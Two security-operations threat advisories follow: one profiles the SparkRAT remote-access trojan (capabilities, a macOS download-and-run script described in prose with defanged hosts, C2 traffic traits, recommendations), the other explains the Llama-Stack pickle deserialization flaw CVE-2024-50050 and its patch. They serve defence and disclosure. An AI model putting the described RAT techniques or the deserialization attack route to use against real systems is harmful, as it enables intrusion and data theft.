I. Targeted Entities

• Industries: Any (Opportunistic)
• Operating Systems: Windows, macOS, and Linux

II. Introduction

Written primarily in Golang, SparkRAT is a feature-rich, multi-platform Remote Administration Tool (RAT) that allows for the granular control of infected devices via web interface [11]. It was first published on GitHub in March of 2022 by elusive, Chinese-speaking developer XZB-1248. However, the project went largely unnoticed until gaining steady popularity in early 2023. Since then, the tool has been observed in numerous threat campaigns, including those carried out by cybercriminal groups Winnti and DragonSpark, as well as its involvement in the Hello Kitty and TellYouThePass ransomware attacks [6].

Like most Remote Access Toolkits, SparkRAT has been widely leveraged by threat actors for post-exploitation operations, typically being installed after the payload delivery and initial compromise. Most notably, the tool has been used in conjunction with several critical vulnerability exploits: CVE-2023-46604, CVE-2024-27198, and CVE-2024-43451 [1][3][4]. After a period of dormancy, SparkRAT resurfaced in January, with security researchers at Hunt.io detecting new C2 servers and hints of a possible DPRK campaign targeting macOS users [7].

III. SparkRAT Observed in DPRK Campaign

In a Twitter post by threat intelligence expert, Germán Fernández (@1ZRR4H) back in November 2024, a cyber espionage campaign attributed to the North Korean government was revealed, targeting macOS users and government organizations [5]. The threat actors behind this operation were reportedly distributing SparkRAT agents via fake online meeting platforms. Upon further investigation, researchers at Hunt.io and Cato Networks have recently identified additional C2 servers in South Korea and Singapore [2]. The findings suggest that this campaign is still active, although with a slight change in strategy and payload delivery method.

Interestingly, these uncovered C2 server domains were found to have open directories containing SparkRAT implants and bash scripts. Below are screenshots of an exposed directory and the content of its hosted scripts.

Screenshot of hxxps://gmcomamz[.]site/dev (Source: Hunt.io)

Curl results from hxxps://gmcomamz[.]site/dev/dev.sh

The bash script above downloads the Mach-O binary file (client.bin) from the hosting domain (updatetiker[.]site), saves it as “pull.bin” to the /Users/shared directory, changes its permissions to allow reading, writing, and execution by all system users, and runs the file as a background process. This is typical behavior of malware hosting servers.

The behavior of the test.sh script is similar, however, it points to another domain which has also been found to host SparkRAT agents (clients):

Curl results from hxxps://gmcomamz[.]site/dev/test.sh

IV. SparkRAT Analysis

SparkRAT Web Interface

Accessed through a browser, the SparkRAT Web UI provides an overview of active remote sessions along with system information of each connected machine. In addition to the basic operations listed below, the tool’s interface comes with several additional capabilities such as viewing a live instance of the victim’s screen, taking screenshots, and remote shutdown.

Client Creation

Generate Client creates an executable file that, when executed on a target machine, will create a backdoor connection with the associated C2 system. Clients can be customized to point to different hosts, connect over a specified port, and run on different operating systems (Windows, macOS/Darwin, and Linux).

Remote Terminal Window

As one would expect, the Terminal feature allows for attackers to execute commands on a target machine via a web-based PowerShell GUI. If used in combination with remote privilege escalation, attackers can carry out system-level operations like disabling the firewall, modifying registry keys, and disabling antivirus software.

Process Manager

The Process feature lists all running processes as well as the ability to stop them. This can be used to terminate security/monitoring software.

File Manager Tool

Explorer allows attackers to enumerate, create, and delete files/directories on the target system. It also allows files/directories to be downloaded to the attacker’s local machine or uploaded to the target machine.

Wireshark capture showing initial client-C2 communication

In this exchange, captured shortly after the execution of a SparkRAT agent, the target system sends a request to upgrade its connection to use the WebSocket protocol. A WebSocket handshake over port 8000 is a key characteristic of SparkRAT command-and-control (C2) traffic.

Client POST Request to update SparkRAT version

Following the WebSocket handshake, the target system sends a POST request with the commit query parameter storing the current version of the tool. This enables the RAT to automatically upgrade itself to the latest version available on the C2 server [10]. It is also worth noting the unusual User-Agent string as well as the JSON return value indicating that this client is using the latest SparkRAT version that the server can offer.

V. MITRE ATT&CK

• T1059 – Command and Scripting Interpreter
  Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.

• T1571 – Non-Standard Port
  Adversaries may communicate using a protocol and port pairing that are typically not associated.

• T1005 – Data from Local System
  Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

• T1071.001 – Application Layer Protocol: Web Protocols (C2)
  Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Protocols such as HTTP/S and WebSocket that carry web traffic may be very common in environments.

• T1105 – Ingress Tool Transfer (C2)
  Adversaries may transfer tools or other files from an external system into a compromised environment.

• T1573.001 – Symmetric Cryptography (C2)
  Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.

• T1082 – System Information Discovery
  An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

• T1083 – File and Directory Discovery
  Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

• T1106 – Native API
  Adversaries may interact with the native OS application programming interface (API) to execute behaviors.

VI. Indicators of Compromise (IOCs)

As is the case with most open-source malware toolkits, the list of IOCs associated with SparkRAT activity is extensive. Currently, the project’s GitHub repository has over 500 forks and 16,000 latest-release downloads, indicating that the tool is likely adapted for use in the development of custom malware (all of which would have their own IOCs). Below are the most recent and most frequently observed SparkRAT IOCs.

VII. Recommendations

Exercise Good Cyber Hygiene – The easiest, most effective way to prevent system compromise via Remote Access Trojans like SparkRAT is to simply practice good cyber hygiene. This includes not opening unknown files, being suspicious of email attachments from untrusted sources, avoiding downloading software from unofficial websites, and regularly updating operating systems.

Isolated Virus Scans – Performing a malware detection scan (via crowdsourced tools like VirusTotal or antivirus software like Microsoft Defender’s custom scan option) on an untrusted file before executing it can be an easy way to verify its legitimacy. Fortunately, most AV solutions are privy to common SparkRAT indicators and will prevent infected files from executing. However, custom malware leveraging the tool may go undetected. If further analysis is required, it is advised to run any suspected file within a sandbox environment to examine its behavior.

Update Virus Signatures – Ensuring that endpoint solutions and antivirus software are up to date with the latest virus signatures is crucial for detecting and quarantining known variations of SparkRAT malware. Signature databases used by AV software are typically populated with new signatures when applying the latest security patches. For this reason, it is recommended to frequently update (daily) or configure automatic system/application updates.

Active Network Monitoring – A system infected with SparkRAT malware establishes a connection to its C2 server via WebSocket, a web-based application protocol that enables full-duplex communication between client and server [8]. Though sometimes used by legitimate software, such as instant messengers and multiplayer games, the use of this protocol over port 8000 (the default port for SparkRAT agents) could be a strong indicator of SparkRAT activity. To detect this traffic, network monitoring and deep packet inspection tools can be deployed to look for abnormal connections over port 8000, WebSocket handshakes by unknown applications, and JSON error messages indicative of SparkRAT C2.

Stay Informed – As SparkRAT gains traction, it is likely to be featured in future malware campaigns. Thankfully, threat hunters and intelligence agencies are vigilantly discovering and sharing IOCs linked to the tool. Engaging with threat intel networks and staying aware of new SparkRAT trends will allow for better preparation of systems and aid in detection efforts of emerging threats.

VIII. References

[1] Arctic Wolf. (November 3, 2023). Exploitation of CVE-2023-46604 in Apache ActiveMQ Leads to TellYouThePass Ransomware. https://arcticwolf.com/resources/blog/tellmethetruth-exploitation-of-cve-2023-46604-leading-to-ransomware/

[2] Bittner, D. (Jan 29, 2025). Cats and RATS are all the rage. https://thecyberwire.com/podcasts/daily-podcast/2234/transcript

[3] Broadcom (January 31, 2025). SparkRAT – a cross-platform modular malware. https://www.broadcom.com/support/security-center/protection-bulletin/sparkrat-a-cross-platform-modular-malware

[4] ClearSky (November 13, 2024). CVE-2024-43451: A New Zero-Day Vulnerability Exploited in the wild. https://www.clearskysec.com/0d-vulnerability-exploited-in-the_wild/

[5] Fernández, G. (Nov 27, 2024). SparkRAT: Server Detection, macOS Activity, and Malicious Connections. https://x.com/1ZRR4H/status/1861667506328334589/

[6] Fortinet. (February 13, 2024). Threat Coverage: How FortiEDR protects against SparkRAT activity. https://community.fortinet.com/t5/FortiEDR/Threat-Coverage-How-FortiEDR-protects-against-SparkRAT-activity/ta-p/299271

[7] Hunt.io. (Jan 28, 2025). SparkRAT: Server Detection, macOS Activity, and Malicious Connections. https://hunt.io/blog/sparkrat-server-detection-macos-activity-and-malicious-connections

[8] IETF. (Dec 2011). The WebSocket Protocol. https://datatracker.ietf.org/doc/html/rfc6455

[9] Mishra, A. (Jan 29, 2025). Hackers Attacking Windows, macOS, and Linux systems With SparkRAT. https://gbhackers.com/hackers-attacking-windows-macos-and-linux-systems/

[10] SentinelLabs. (Jan 24, 2023) DragonSpark | Attacks Evade Detection with SparkRAT and Golang Source Code Interpretation. https://www.sentinelone.com/labs/dragonspark-attacks-evade-detection-with-sparkrat-and-golang-source-code-interpretation/

[11] XZB-1248. (Mar 16, 2022). SparkRAT GitHub Repository. https://github.com/XZB-1248/Spark

Additional Resources

[12] Open Threat Exchange. “SparkRAT”. https://otx.alienvault.com/browse/global/pulses?q=SparkRAT&include_inactive=0&sort=-modified&page=1&limit=10&indicatorsSearch=SparkRAT

[13] Malpedia. “SparkRAT”. https://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat

[14] ThreatFox. SparkRAT IOCs. https://threatfox.abuse.ch/browse/malware/win.spark_rat/

[15] Hybrid Analysis. client.bin Sandbox Report. https://www.hybrid-analysis.com/sample/cd313c9b706c2ba9f50d338305c456ad3392572efe387a83093b09d2cb6f1b56

[16] VirusTotal. client.bin Scan. https://www.virustotal.com/gui/file/cd313c9b706c2ba9f50d338305c456ad3392572efe387a83093b09d2cb6f1b56

Threat Advisory created by The Cyber Florida Security Operations Center.

Contributing Security Analyst(s): Isaac Ward

I. Targeted Entities

• Organizations, researchers, and developers leveraging Meta’s Llama-Stack for AI model inference and deployment. 

II. Introduction

A critical security vulnerability, CVE-2024-50050, has been identified in Meta’s Llama-Stack framework, which is widely used for developing and deploying generative AI applications. This flaw allows attackers to achieve remote code execution (RCE) by exploiting unsafe deserialization of untrusted data via the pyzmq library (ZeroMQ python implementation). Specifically, the vulnerability arises from the use of the recv_pyobj method, which automatically deserializes Python objects using “pickle”, a method known for its security risks when handling untrusted inputs. 

If exploited, this vulnerability could compromise AI inference servers, leading to data breaches, resource hijacking, unauthorized model manipulation, or full system compromise. Meta has assigned the flaw a CVSS score of 6.3 (medium), while Snyk and Oligo Security have categorized it as critical, assigning it scores of 9.3 and 9.8, respectively. 

This advisory provides details on the vulnerability and remediation steps to mitigate the risk. 

III. Additional Background Information

Llama-Stack is an open-source framework developed by Meta to streamline the development, deployment, and optimization of generative AI (GenAI) applications. It is primarily designed to support Meta’s Llama family of models, offering a comprehensive set of tools and APIs for the entire AI development lifecycle, including: 

• Model training and inference 
• Memory management 
• Evaluation and optimization

The framework is intended to accelerate innovation in the AI space by providing a standardized foundation for developers and enterprises working on Llama-based AI solutions. Since its introduction in July 2024, Llama-Stack has been backed by major AI ecosystem partners such as AWS, NVIDIA, Groq, Ollama, Together AI, and Dell. 

However, the discovery of CVE-2024-50050 has revealed a critical security flaw in Llama-Stack’s default inference implementation, raising concerns about the security of AI frameworks that handle sensitive model deployments.

Technical Breakdown of the Vulnerability:

Insecure Deserialization:

• The run_inference method in llama-stack uses recv_pyobj to receive serialized Python objects over a ZeroMQ socket. 
• recv_pyobj automatically deserializes the received data using Python’s pickle.loads method. 
• The pickle module is inherently insecure when processing untrusted data, as it can execute arbitrary code during deserialization.

Exploitation Scenario:

If the ZeroMQ socket is exposed over the network, an attacker can send a maliciously crafted serialized object to the socket. When recv_pyobj unpickles the object using pickle.loads, the attacker’s payload is executed, leading to arbitrary code execution on the host.

Code Analysis:

The recv_pyobj method in pyzmq is defined as follows:

def recv_pyobj(self, flags: int = 0) -> Any:
msg = self.recv(flags)
return self._deserialize(msg, pickle.loads)

This method:

• Receives pickled data from the socket.
• Passes the data to _deserialize along with pickle.loads for deserialization.
• Deserialize executes pickle.loads, which deserializes the data without validation.

Unsafe Design:

The use of pickle.loads in recv_pyobj is unsafe by design, as it deserializes data from unverified sources.

The maintainer of pyzmq has acknowledged that recv_pyobj should only be used with trusted sources, similar to pickle itself.

Impact

Severity: Critical

Consequences:

• An attacker could craft a malicious serialized object using pickle and send it to the exposed ZeroMQ socket.
• This can lead to full system compromise, data exfiltration, or further lateral movement within the network.

Vulnerability discovery, disclosure and patching

The vulnerability in llama-stack was discovered by Oligo, which leverages its advanced runtime detection capabilities to identify threats that traditional Software Composition Analysis (SCA) tools often miss. Oligo’s Application Detection and Response (ADR) platform maintains an extensive database of runtime profiles for third-party libraries, enabling it to detect unusual behavior indicative of exploitation. In the case of llama-stack, Oligo’s prebuilt profiles flagged the use of pickle for deserialization as anomalous, as no legitimate instances of code execution within the pickle processing flow had ever been recorded. This triggered an automatic incident report in the Oligo ADR platform, highlighting the potential for remote code execution (RCE) even though no CVE for llama-stack existed at the time. The attack graph and evidence, including Python call stack deviations captured via eBPF, were documented in the Oligo platform, confirming the exploit.

Oligo followed a responsible disclosure process to report the vulnerability to Meta, the maintainers of llama-stack. Meta’s security team responded promptly, providing clear guidelines for disclosure through a GitHub issue. The vulnerability was assigned CVE-2024-50050 with a CVSS score of 9.3, reflecting its critical severity. Meta acknowledged the issue and worked collaboratively with Oligo to address it.

Meta released a patch in version 0.0.41 of llama-stack (llama-stack>=0.0.41), which replaced the insecure pickle serialization implementation with a type-safe Pydantic JSON implementation across the API. This change eliminated the risk of arbitrary code execution by ensuring safe deserialization of data. Additionally, pyzmq issued a fix and added a clear warning in its documentation about the risks of using recv_pyobj with untrusted data, emphasizing that it should only be used with trusted sources. The patch and warning can be found in the following commit: pyzmq commit f4e9f17.

Responsible Disclosure Timeline

29 Sep, 2024: Oligo reported the vulnerability to Meta.

30 Sep, 2024: Meta performed an initial evaluation of the report.

1 Oct, 2024: Meta confirmed that their teams were working on a fix.

10 Oct, 2024: Meta released the fix on GitHub and published version 0.0.41 to PyPi.

24 Oct, 2024: Meta issued CVE-2024-50050 to formally document the vulnerability.

This coordinated effort between Oligo and Meta ensured the timely identification, disclosure, and patching of the vulnerability, mitigating the risk of exploitation for users of llama-stack.

IV. MITRE ATT&CK

Displayed is the code vulnerable method in llama stack (Derived from Oligo Blog Security)

Displayed is the RCE code used to deserialize and unpickle the code, making said code no longer secure (Derived from Oligo Blog Security)

VII. Additional OSINT Information

To detect this vulnerability, having real time detection is essential for identifying and getting rid of the risk. Maintaing an extensive and constantly backed up database of profiles for third party libraries.  

 Patch 0.0.41 calls attention to this, it replaces the pickled serialization implementation with Pydantic JSON implementation across the API.

VIII. References

Oligo Security. (January 23, 2025). CVE-2024-50050: Critical Vulnerability in meta llama/llama-stack by Meta. https://www.oligo.security/blog/cve-2024-50050-critical-vulnerability-in-meta-llama-llama-stack 

The Hacker News. (Jan 26, 2025). Meta’s Llama Framework Flaw Exposes AI Systems to Remote Code Execution Risks. https://thehackernews.com/2025/01/metas-llama-framework-flaw-exposes-ai.html 

SC Media. (January 27, 2025). Severe Meta Llama issue risks RCE in AI systems. https://www.scworld.com/brief/severe-meta-llama-issue-risks-rce-in-ai-systems 

Threat Advisory created by The Cyber Florida Security Operations Center. 

Contributing Security Analysts: Thiago Reis Pagliaroni, Nahyan Jamil

To learn more about Cyber Florida visit: www.cyberflorida.org